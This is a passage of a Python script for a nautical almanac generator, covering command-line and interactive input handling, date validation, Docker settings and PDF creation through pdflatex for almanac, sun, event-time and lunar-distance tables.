fn.replace(\"(\",\"[\").replace(\")\",\"]\")\n return fn\n\ndef toUNIX(fn):\n if not squarebr and (config.LINUXpf or config.MACOSpf):\n # either of the following commands work in Ubuntu:\n if True:\n fn = \"'\" + fn + \"'\"\n else:\n fn = fn.replace(\"(\",\"\\(\").replace(\")\",\"\\)\")\n return fn\n\ndef deletePDF(filename):\n if os.path.exists(filename + \".pdf\"):\n try:\n os.remove(filename + \".pdf\")\n except PermissionError:\n print(\"ERROR: please close '{}' so it can be re-created\".format(filename + \".pdf\"))\n sys.exit(0)\n if os.path.exists(filename + \".tex\"):\n os.remove(filename + \".tex\")\n\ndef makePDF(pdfcmd, fn, msg = \"\"):\n command = r'pdflatex {}'.format(pdfcmd + toUNIX(fn + \".tex\"))\n print() # blank line before \"This is pdfTex, Version 3.141592653...\n if pdfcmd == \"\":\n os.system(command)\n print(\"finished\" + msg)\n else:\n returned_value = os.system(command)\n if returned_value != 0:\n if msg != \"\":\n print(\"ERROR detected while\" + msg)\n else:\n print(\"!! ERROR detected while creating PDF file !!\")\n print(\"!! Append '-v' or '-log' for more information !!\")\n else:\n if msg != \"\":\n print(\"finished\" + msg)\n else:\n print(\"finished creating '{}'\".format(fn + \".pdf\"))\n return\n\ndef tidy_up(fn):\n if not keeptex: os.remove(fn + \".tex\")\n if not keeplog:\n if os.path.isfile(fn + \".log\"):\n os.remove(fn + \".log\")\n if os.path.isfile(fn + \".aux\"):\n os.remove(fn + \".aux\")\n return\n\ndef check_mth(mm):\n if not 1 <= int(mm) <= 12:\n print(\"ERROR: Enter month between 01 and 12\")\n sys.exit(0)\n\ndef check_exists(fn):\n # check a required file exist to avoid a more obscure error in pdfTeX if \"-v\" not used...\n if not os.path.exists(fn):\n print(\"Error - missing file: {}\".format(fn))\n sys.exit(0)\n\ndef check_date(year, month, day):\n yy = int(year)\n mm = int(month)\n day_count_for_month = [0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n if yy%4==0 and (yy%100 != 0 or yy%400==0):\n day_count_for_month[2] = 29\n if not (1 <= mm <= 12 and 1 <= int(day) <= day_count_for_month[mm]):\n print(\"ERROR: Enter a valid date\")\n sys.exit(0)\n\ndef check_years(yearfr, yearto):\n global yrmin, yrmax\n\n if str(yearfr).isnumeric():\n if yrmin <= int(yearfr) <= yrmax:\n first_day = date(int(yearfr), 1, 1)\n else:\n print(\"!! Please pick a year between {} and {} !!\".format(yrmin,yrmax))\n sys.exit(0)\n else:\n print(\"Error! First year is not numeric\")\n sys.exit(0)\n\n if str(yearto).isnumeric():\n if yrmin <= int(yearto) <= yrmax:\n first_day_to = date(int(yearto), 1, 1)\n else:\n print(\"!! Please pick a year between {} and {} !!\".format(yrmin,yrmax))\n sys.exit(0)\n if int(yearto) < int(yearfr):\n print(\"Error! The LAST year must be later than the FIRST year\")\n sys.exit(0)\n else:\n print(\"Error! Last year is not numeric\")\n sys.exit(0)\n\ndef timer_start():\n # initialize these counts before processing the next year (Almanac or Event Tables)\n config.stopwatch = 0.0 # 00000\n config.stopwatch2 = 0.0 # 00000\n config.moonDaysCount = 0\n config.moonDataSeeks = 0\n config.moonDataFound = 0\n config.moonHorizonSeeks = 0\n config.moonHorizonFound = 0\n return time.time()\n\ndef timer_end(start, x = 0):\n stop = time.time()\n #print(\"start = {}\".format(time.localtime(start)))\n #print(\"stop = {}\".format(time.localtime(stop)))\n msg = \"execution time = {:0.2f} seconds\".format(stop-start)\n if x < 0:\n msg += \"\\n\" # newline after \"execution time = ...\"\n x = abs(x)\n print(msg)\n if config.logfileopen: config.writeLOG(\"\\n\\n\" + msg)\n if x == 0: return\n\n pct = 100 * config.stopwatch/(stop-start)\n msg4 = \" ({:0.1f}%)\".format(pct) if not config.MULTIpr else \"\"\n msg2 = \"stopwatch = {:0.2f} seconds\".format(config.stopwatch) + msg4\n print(msg2) # 00000\n if config.logfileopen: config.writeLOG(msg2 + \"\\n\")\n msg3 = \"(stopwatch = time spent getting moonrise and/or moonset times)\"\n #if x == 2: msg3 += \"\\n\"\n if config.logfileopen: config.writeLOG(msg3 + \"\\n\")\n print(msg3) # 00000\n\n if x == 1: return # following is not required for Event Time tables\n msg5 = \"stopwatch2 = {:0.2f} seconds\".format(config.stopwatch2)\n print(msg5) # 00000\n msg6 = \"(stopwatch2 = time spent searching if moon above/below horizon)\"\n if x == 2: msg6 += \"\\n\"\n print(msg6)\n return\n\ndef search_stats():\n if config.MULTIpr:\n msg4 = \"Moonrise/moonset time seeks = {}\".format(config.moonDataSeeks)\n print(msg4)\n msg5 = \"Above/below horizon searches = {}\".format(config.moonHorizonSeeks)\n print(msg5)\n else:\n msg4 = \"Moonrise/moonset times found in transient store = {} of {}\".format(config.moonDataFound, config.moonDataSeeks)\n print(msg4)\n msg5 = \"Moon continuously above/below horizon state found in transient store = {} of {}\".format(config.moonHorizonFound, config.moonHorizonSeeks)\n print(msg5)\n return\n\ndef checkCoreCount(): # only called when config.MULTIpr == True\n if not (config.WINpf or config.LINUXpf or config.MACOSpf):\n print(\"Unsupported OS for multi-processing.\")\n sys.exit(0)\n if not sys.version_info.major > 3:\n if not (sys.version_info.major == 3 and sys.version_info.minor >= 4):\n print(\"Python 3.4 or higher is required for multi-processing.\")\n sys.exit(0)\n if config.CPUcores == 1:\n config.MULTIpr = False\n print(\"\\nERROR: 2 logical processors minimum are required for parallel processessing\")\n print(\" defaulting to single processessing\")\n if config.CPUcores < 12 or (config.WINpf and config.CPUcores < 8):\n print(\"\\nNOTE: only {} logical processors are available for parallel processessing\".format(config.CPUcores))\n\n\n###### Main Program ######\n\nif __name__ == '__main__': # required for Windows multiprocessing compatibility\n if sys.version_info[0] < 3:\n print(\"This runs only with Python 3\")\n sys.exit(0)\n\n # check if TeX Live is compatible with the 'fancyhdr' package...\n process = os.popen(\"tex --version\")\n returned_value = process.read()\n process.close()\n if returned_value == \"\":\n print(\"- - - Neither TeX Live nor MiKTeX is installed - - -\")\n sys.exit(0)\n pos1 = returned_value.find(\"(\") \n pos2 = returned_value.find(\")\")\n if pos1 != -1 and pos2 != -1:\n texver = returned_value[pos1+1:pos2]\n # e.g. \"TeX Live 2019/Debian\", \"TeX Live 2022/dev/Debian\", \"MiKTeX 22.7.30\"\n if texver[:8] == \"TeX Live\":\n yrtxt = texver[9:13]\n if yrtxt.isnumeric():\n yr = int(yrtxt)\n if yr >= 2020:\n config.FANCYhd = True # TeX Live can handle the 'fancyhdr' package\n# if yr < 2020:\n# print(\"TeX version = '\" + texver + \"'\")\n# print(\"Upgrade TeX Live to 'TeX Live 2020' at least\")\n# sys.exit(0)\n else:\n config.FANCYhd = True # assume MiKTeX can handle the 'fancyhdr' package\n\n # command line arguments...\n validargs = ['-v', '-q', '-log', '-tex', '-sky', '-old', '-a4', '-let', '-nao', '-dtr', '-dpo', '-sbr', '-nmg', '-d1', '-d2', '-d3', '-d4']\n # (the 4 dummy arguments d1 d2 d3 d4 are specified in 'dockerfile')\n for i in list(range(1, len(sys.argv))):\n if sys.argv[i] not in validargs:\n print(\"Invalid argument: {}\".format(sys.argv[i]))\n print(\"\\nValid command line arguments are:\")\n print(\" -v ... 'verbose': to send pdfTeX output to the terminal\")\n print(\" -q ... quiet mode for LD charts\")\n print(\" -log ... to keep the log file\")\n print(\" -tex ... to keep the tex file\")\n print(\" -sky ... stars only in LD charts\")\n print(\" -old ... old formatting without the 'fancyhdr' package\")\n print(\" -a4 ... A4 papersize\")\n print(\" -let ... Letter papersize\")\n print(\" -nao ... HMNAO style hourly Moon d-values\")\n print(\" -dtr ... 'difference-then-round' style hourly Moon d-values\")\n print(\" -dpo ... data pages only\")\n print(\" -sbr ... square brackets in Unix filenames\")\n sys.exit(0)\n\n # NOTE: pdfTeX 3.14159265-2.6-1.40.21 (TeX Live 2020/Debian), as used in the Docker\n # Image, does not have the options \"-quiet\" or \"-verbose\".\n listarg = \"\" if \"-v\" in set(sys.argv[1:]) else \"-interaction=batchmode -halt-on-error \"\n keeplog = True if \"-log\" in set(sys.argv[1:]) else False\n keeptex = True if \"-tex\" in set(sys.argv[1:]) else False\n quietmode = True if \"-q\" in set(sys.argv[1:]) else False\n onlystars = True if \"-sky\" in set(sys.argv[1:]) else False\n squarebr = True if \"-sbr\" in set(sys.argv[1:]) else False\n #\n # !! CHANGES TO VARIABLES IN config.py ARE NOT MAINTAINED IN MULTIPROCESSING MODE !!\n #\n if \"-nmg\" in set(sys.argv[1:]): config.moonimg = False # only for debugging\n config.DPonly = True if \"-dpo\" in set(sys.argv[1:]) else False\n if \"-old\" in set(sys.argv[1:]): config.FANCYhd = False # don't use the 'fancyhdr' package\n\n if not(\"-a4\" in set(sys.argv[1:]) and \"-let\" in set(sys.argv[1:])):\n if \"-a4\" in set(sys.argv[1:]): config.pgsz = \"A4\"\n if \"-let\" in set(sys.argv[1:]): config.pgsz = \"Letter\"\n\n if not(\"-nao\" in set(sys.argv[1:]) and \"-dtr\" in set(sys.argv[1:])):\n if \"-nao\" in set(sys.argv[1:]): config.d_valNA = True\n if \"-dtr\" in set(sys.argv[1:]): config.d_valNA = False\n\n d = datetime.utcnow().date()\n first_day = date(d.year, d.month, d.day)\n yy = \"%s\" % d.year\n\n # if this code runs locally (not in Docker), the settings in config.py are used.\n # if this code runs in Docker without use of an environment file, the settings in config.py apply.\n # if this code runs in Docker with an environment file (\"--env-file ./.env\"), then its values apply.\n ageERR = False\n ephERR = False\n if config.dockerized:\n docker_main = os.getcwd()\n spad = docker_main + \"/astro-data/\" # path to bsp/all/dat in the Docker Image\n spdf = docker_main + \"/\" # path to pdf/png/jpg in the Docker Image\n config.pgsz = os.getenv('PGSZ', config.pgsz)\n config.moonimg = os.getenv('MOONIMG', str(config.moonimg))\n config.ephndx = os.getenv('EPHNDX', str(config.ephndx))\n if config.ephndx not in set(['0', '1', '2', '3', '4']):\n ephERR = True\n else:\n config.ephndx = int(config.ephndx)\n config.useIERS = os.getenv('USEIERS', str(config.useIERS))\n config.ageIERS = os.getenv('AGEIERS', str(config.ageIERS))\n if not str(config.ageIERS).isnumeric():\n ageERR = True\n else:\n config.ageIERS = int(config.ageIERS)\n if config.ageIERS <= 0:\n ageERR = True\n err1 = \"the Docker .env file\"\n err2 = \"for MOONIMG in the Docker .env file\"\n err3 = \"for USEIERS in the Docker .env file\"\n err4 = \"for AGEIERS in the Docker .env file\"\n else:\n spad = spdf = \"./\" # path when executing the GitHub files in a folder\n if config.ephndx not in set([0, 1, 2, 3, 4]):\n ephERR = True\n config.moonimg = str(config.moonimg)\n config.useIERS = str(config.useIERS)\n err1 = \"config.py\"\n err2 = \"for 'moonimg' in config.py\"\n err3 = \"for 'useIERS' in config.py\"\n err4 = \"for 'ageIERS' in config.py\"\n\n if ephERR:\n print(\"Error - Please choose a valid ephemeris in {}\".format(err1))\n sys.exit(0)\n\n if config.pgsz not in set(['A4', 'Letter']):\n print(\"Please choose a valid paper size in {}\".format(err1))\n sys.exit(0)\n\n if config.moonimg.lower() not in set(['true', 'false']):\n print(\"Please choose a boolean value {}\".format(err2))\n sys.exit(0)\n\n if config.useIERS.lower() not in set(['true', 'false']):\n print(\"Please choose a boolean value {}\".format(err3))\n sys.exit(0)\n\n if ageERR:\n print(\"Please choose a positive non-zero numeric value {}\".format(err4))\n sys.exit(0)\n\n global yrmin, yrmax\n yrmin = config.ephemeris[config.ephndx][1]\n yrmax = config.ephemeris[config.ephndx][2]\n config.moonimg = (config.moonimg.lower() == 'true') # to boolean\n config.useIERS = (config.useIERS.lower() == 'true') # to boolean\n f_prefix = config.docker_prefix\n f_postfix = config.docker_postfix\n\n # ------------ process user input ------------\n\n s = input(\"\"\"\\n What do you want to create?:\\n\n 1 Nautical Almanac (for a day/month/year)\n 2 Sun tables only (for a day/month/year)\n 3 Event Time tables (for a day/month/year)\n 4 Lunar Distance tables (for a day/month/year)\n 5 Lunar Distance charts (for a day/month)\n 6 \"Increments and Corrections\" tables (static data)\n\"\"\")\n\n if s in set(['1', '3', '4']): dnum = 6\n elif s == '2': dnum = 30\n else: dnum = 0\n smalltxt = \" (or 'x' for a brief sample)\" if dnum > 0 else \"\"\n smallmsg = \"\\n - or 'x' for {} days from today\".format(dnum) if dnum > 0 else \"\"\n\n if s in set(['1', '2', '3', '4', '5', '6']):\n if int(s) < 5:\n daystoprocess = 0\n ss = input(\"\"\" Enter as numeric digits{}:\\n\n - starting date as 'DDMMYYYY'\n - or just 'YYYY' (for a whole year)\n - or 'YYYY-YYYY' (for first and last year)\n - or just 'MM' (01 - 12) for the current or a future month\n - or '-MM' for a previous month (e.g. '-02' is last February){}\n - nothing for the current day\n\"\"\".format(smalltxt,smallmsg))\n\n sErr = False # syntax error\n entireMth = False\n entireYr = False\n\n if len(ss) <= 1:\n daystoprocess = 1\n if d.year > yrmax:\n print(\"!! Only years up to {} are valid!!\".format(yrmax))\n sys.exit(0)\n if len(ss) == 1:\n daystoprocess = dnum\n if dnum == 0: sErr = True\n if ss.lower() != 'x': sErr = True\n if sErr:\n print(\"ERROR: Incorrect data or format\")\n sys.exit(0)\n\n else:\n if len(ss) not in [2,3,4,8,9]: sErr = True\n if len(ss) == 3:\n if ss[0] != '-': sErr = True\n if not ss[1:].isnumeric(): sErr = True\n elif len(ss) == 9:\n if ss[4] != '-': sErr = True\n if not (ss[:4].isnumeric() and ss[5:].isnumeric()): sErr = True\n elif not ss.isnumeric(): sErr = True\n\n if sErr:\n print(\"ERROR: Incorrect data or format\")\n sys.exit(0)\n\n if len(ss) == 2:\n dd = \"01\"\n mm = ss[0:2]\n check_mth(mm)\n if int(mm) < d.month: yy = str(d.year + 1)\n elif len(ss) == 3:\n dd = \"01\"\n mm = ss[1:3]\n check_mth(mm)\n if int(mm) >= d.month: yy = str(d.year - 1)\n elif len(ss) == 4:\n entireYr = True\n dd = \"01\"\n mm = \"01\"\n yy = ss\n yearfr = ss\n yearto = ss\n check_years(yearfr, yearto)\n elif len(ss) == 9 and ss[4] == '-':\n entireYr = True\n dd = \"01\"\n mm = \"01\"\n yy = ss[0:4]\n yearfr = ss[0:4]\n yearto = ss[5:]\n check_years(yearfr, yearto)\n elif len(ss) == 8:\n dd = ss[:2]\n mm = ss[2:4]\n check_mth(mm)\n yy = ss[4:]\n check_date(yy,mm,dd)\n \n first_day = date(int(yy), int(mm), int(dd))\n d = first_day\n\n if len(ss) in [2,3]: # process entire month\n entireMth = True\n daystoprocess = (d.replace(month = d.month%12 + 1, day = 1)-timedelta(days=1)).day\n\n if not entireYr and not entireMth and daystoprocess == 0:\n daystoprocess = 1 # default\n nn = input(\"\"\" Enter number of days to process from starting date:\n\"\"\")\n if len(nn) > 0:\n if not nn.isnumeric():\n print(\"ERROR: Not a number\")\n sys.exit(0)\n daystoprocess = int(nn)\n if daystoprocess > 300:\n print(\"ERROR: 'Days to process' not <= 300\")\n sys.exit(0)\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n elif int(s) == 5: # for Lunar Distance charts only\n# Due to the lengthy calculations LD charts for a whole year is not supported.\n daystoprocess = 0\n ss = input(\"\"\"\n Enter as numeric digits:\n - starting date as 'DDMMYYYY'\n - or just 'DDMM' (YYYY = current year)\n - or just 'MM' (01 - 12) for the current or a future month\n - or '-MM' for a previous month (e.g. '-02' is last February)\n - nothing for the current day\n\"\"\")\n sErr = False # syntax error\n entireMth = False\n entireYr = False\n\n if len(ss) == 0:\n daystoprocess = 1\n if d.year > yrmax:\n print(\"!! Only years up to {} are valid!!\".format(yrmax))\n sys.exit(0)\n else:\n if len(ss) not in [2,3,4,8]: sErr = True\n if len(ss) == 3 and ss[0] != '-': sErr = True\n if len(ss) == 3:\n if not ss[1:].isnumeric(): sErr = True\n elif not ss.isnumeric(): sErr = True\n if sErr:\n print(\"ERROR: Enter numeric digits in the correct format\")\n sys.exit(0)\n if len(ss) == 2:\n dd = \"01\"\n mm = ss[0:2]\n if int(mm) < d.month: yy = str(d.year + 1)\n if len(ss) == 3:\n dd = \"01\"\n mm = ss[1:3]\n if int(mm) >= d.month: yy = str(d.year - 1)\n elif len(ss) >= 4:\n dd = ss[0:2]\n mm = ss[2:4]\n if len(ss) == 8: yy = ss[4:]\n check_mth(mm)\n check_date(yy,mm,dd)\n\n if not (yrmin <= int(yy) <= yrmax):\n print(\"!! Please pick a year between {} and {} !!\".format(yrmin,yrmax))\n sys.exit(0)\n\n first_day = date(int(yy), int(mm), int(dd))\n d = first_day\n\n if len(ss) in [2,3]: # process entire month\n entireMth = True\n daystoprocess = (d.replace(month = d.month%12 + 1, day = 1)-timedelta(days=1)).day\n\n if daystoprocess == 0:\n daystoprocess = 1 # default\n nn = input(\"\"\" Enter number of days to process from starting date:\n\"\"\")\n if len(nn) > 0:\n if not nn.isnumeric():\n print(\"ERROR: Not a number\")\n sys.exit(0)\n daystoprocess = int(nn)\n if daystoprocess > 50:\n print(\"ERROR: 'Days to process' not <= 50\")\n sys.exit(0)\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n if s in set(['1', '2']):\n tsin = input(\"\"\" What table style is required?:\\n\n t Traditional\n m Modern\n\"\"\")\n ff = '_'\n DecFmt = ''\n config.tbls = tsin[0:1]\t# table style\n config.decf = tsin[1:2]\t# Declination format ('+' or nothing)\n if config.tbls != 'm':\n config.tbls = ''\t\t# anything other than 'm' is traditional\n ff = ''\n if config.decf != '+':\t\t# Positive/Negative Declinations\n config.decf = ''\t\t# USNO format for Declination\n else:\n DecFmt = '[old]'\n\n sday = \"{:02d}\".format(d.day)\n smth = \"{:02d}\".format(d.month)\n syr = \"{}\".format(d.year)\n symd = syr + smth + sday\n sdmy = sday + \".\" + smth + \".\" + syr\n\n if s in set(['4', '5']):\n strat = config.defaultLDstrategy\n if strat == '':\n strat = input(\"\"\" Select a strategy for choosing celestial bodies:\\n\n A objects closest to the Moon\n B with highest hourly LD delta\n C with brightest navigational stars\n\"\"\")\n\n strat = strat.upper()\n if len(strat) == 0:\n strat = 'B' # pick a default\n if not strat in [\"A\", \"B\", \"C\"]:\n print(\"Error! Invalid selection\")\n sys.exit(0)\n\n# ------------ create the desired tables/charts ------------\n\n if int(s) <= 3:\n ts = init_sf(spad) # in alma_skyfield (almanac-based)\n elif int(s) in set([4, 5]):\n ts = ld_init_sf(spad) # in ld_skyfield ('Lunar Distance'-based)\n papersize = config.pgsz\n\n if s == '1' and entireYr: # Nautical Almanac (for a year/years)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n print(\"Take a break - this computer needs some time for cosmic meditation.\")\n ## config.initLOG()\t\t# initialize log file\n for yearint in range(int(yearfr),int(yearto)+1):\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n config.moonDataSeeks = 0\n config.moonDataFound = 0\n config.moonHorizonSeeks = 0\n config.moonHorizonFound = 0\n year = \"{:4d}\".format(yearint) # year = \"%4d\" %yearint\n msg = \"\\nCreating the nautical almanac for the year {}\".format(year)\n print(msg)\n ## config.writeLOG(msg)\n first_day = date(yearint, 1, 1)\n ff = \"NAtrad\" if config.tbls != 'm' else \"NAmod\"\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,year+DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(almanac(first_day,0,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n search_stats()\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n ## config.closeLOG() # close log after the for-loop\n\n elif s == '1' and entireMth: # Nautical Almanac (for a month)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n ## config.initLOG()\t\t# initialize log file\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n config.moonDataSeeks = 0\n config.moonDataFound = 0\n config.moonHorizonSeeks = 0\n config.moonHorizonFound = 0\n msg = \"\\nCreating the nautical almanac for {}\".format(first_day.strftime(\"%B %Y\"))\n print(msg)\n ## config.writeLOG(msg)\n ff = \"NAtrad\" if config.tbls != 'm' else \"NAmod\"\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,syr + '-' + smth + DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(almanac(first_day,-1,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n search_stats()\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n ## config.closeLOG() # close log after the for-loop\n\n elif s == '1' and not entireYr and not entireMth: # Nautical Almanac (for a few days)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n ## config.initLOG()\t\t# initialize log file\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n config.moonDataSeeks = 0\n config.moonDataFound = 0\n config.moonHorizonSeeks = 0\n config.moonHorizonFound = 0\n txt = \"from\" if daystoprocess > 1 else \"for\"\n msg = \"\\nCreating the nautical almanac {} {}\".format(txt,first_day.strftime(\"%d %B %Y\"))\n print(msg)\n ## config.writeLOG(msg)\n ff = \"NAtrad\" if config.tbls != 'm' else \"NAmod\"\n dto = \"\"\n if daystoprocess > 1: # filename as 'from date'-'to date'\n lastdate = d + timedelta(days=daystoprocess-1)\n dto = lastdate.strftime(\"-%Y%m%d\")\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,symd+dto+DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(almanac(first_day,daystoprocess,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n search_stats()\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n ## config.closeLOG() # close log after the for-loop\n\n elif s == '2' and entireYr: # Sun Tables (for a year/years)\n check_exists(spdf + \"Ra.jpg\")\n for yearint in range(int(yearfr),int(yearto)+1):\n year = \"{:4d}\".format(yearint) # year = \"%4d\" %yearint\n msg = \"\\nCreating the sun tables for the year {}\".format(year)\n print(msg)\n first_day = date(yearint, 1, 1)\n ff = \"STtrad\" if config.tbls != 'm' else \"STmod\"\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,year+DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(sunalmanac(first_day,0))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '2' and entireMth: # Sun Tables (for a month)\n check_exists(spdf + \"Ra.jpg\")\n msg = \"\\nCreating the sun tables for {}\".format(first_day.strftime(\"%B %Y\"))\n print(msg)\n ff = \"STtrad\" if config.tbls != 'm' else \"STmod\"\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,syr + '-' + smth + DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(sunalmanac(first_day,-1))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '2' and not entireYr and not entireMth: # Sun Tables (for a few days)\n check_exists(spdf + \"Ra.jpg\")\n txt = \"from\" if daystoprocess > 1 else \"for\"\n msg = \"\\nCreating the sun tables {} {}\".format(txt,first_day.strftime(\"%d %B %Y\"))\n print(msg)\n ff = \"STtrad\" if config.tbls != 'm' else \"STmod\"\n dto = \"\"\n if daystoprocess > 1: # filename as 'from date'-'to date'\n lastdate = d + timedelta(days=daystoprocess-1)\n dto = lastdate.strftime(\"-%Y%m%d\")\n fn = toUnix(\"{}({})_{}\".format(ff,papersize,symd+dto+DecFmt))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(sunalmanac(first_day,daystoprocess))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '3' and entireYr: # Event Time tables (for a year/years)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n print(\"Take a break - this computer needs some time for cosmic meditation.\")\n for yearint in range(int(yearfr),int(yearto)+1):\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n year = \"{:4d}\".format(yearint) # year = \"%4d\" %yearint\n msg = \"\\nCreating the event time tables for the year {}\".format(year)\n print(msg)\n first_day = date(yearint, 1, 1)\n fn = toUnix(\"Event-Times({})_{}\".format(papersize,year))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makeEVtables(first_day,0,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '3' and entireMth: # Event Time tables (for a month)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n msg = \"\\nCreating the event time tables for {}\".format(first_day.strftime(\"%B %Y\"))\n print(msg)\n fn = toUnix(\"Event-Times({})_{}\".format(papersize,syr + '-' + smth))\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makeEVtables(first_day,-1,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '3' and not entireYr and not entireMth: # Event Time tables (for a few days)\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n if config.MULTIpr: checkCoreCount()\n start = timer_start()\n txt = \"from\" if daystoprocess > 1 else \"for\"\n msg = \"\\nCreating the event time tables {} {}\".format(txt,first_day.strftime(\"%d %B %Y\"))\n print(msg)\n fn = toUnix(\"Event-Times({})_{}\".format(papersize,symd))\n if daystoprocess > 1: # filename as 'from date'-'to date'\n lastdate = d + timedelta(days=daystoprocess-1)\n fn += lastdate.strftime(\"-%Y%m%d\")\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makeEVtables(first_day,daystoprocess,ts))\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n timer_end(start, 1)\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n if config.dockerized: os.chdir(docker_main) # reset working folder to code folder\n\n elif s == '4': # Lunar Distance tables\n check_exists(spdf + \"A4chart0-180_P.pdf\")\n check_exists(spdf + \"A4chart180-360_P.pdf\")\n if entireYr: # Lunar Distance tables (for a year/years)\n for yearint in range(int(yearfr),int(yearto)+1):\n start = time.time()\n year = \"{:4d}\".format(yearint) # year = \"%4d\" %yearint\n msg = \"\\nCreating the lunar distance tables for the year {}\".format(year)\n print(msg)\n daystoprocess = (date(yearint+1, 1, 1) - date(yearint, 1, 1)).days\n fn = toUnix(\"LDtable({})_{}\".format(papersize,year))\n first_day = date(yearint, 1, 1)\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makeLDtables(first_day,0,strat))\n outfile.close()\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n stop = time.time()\n msg2 = \"execution time = 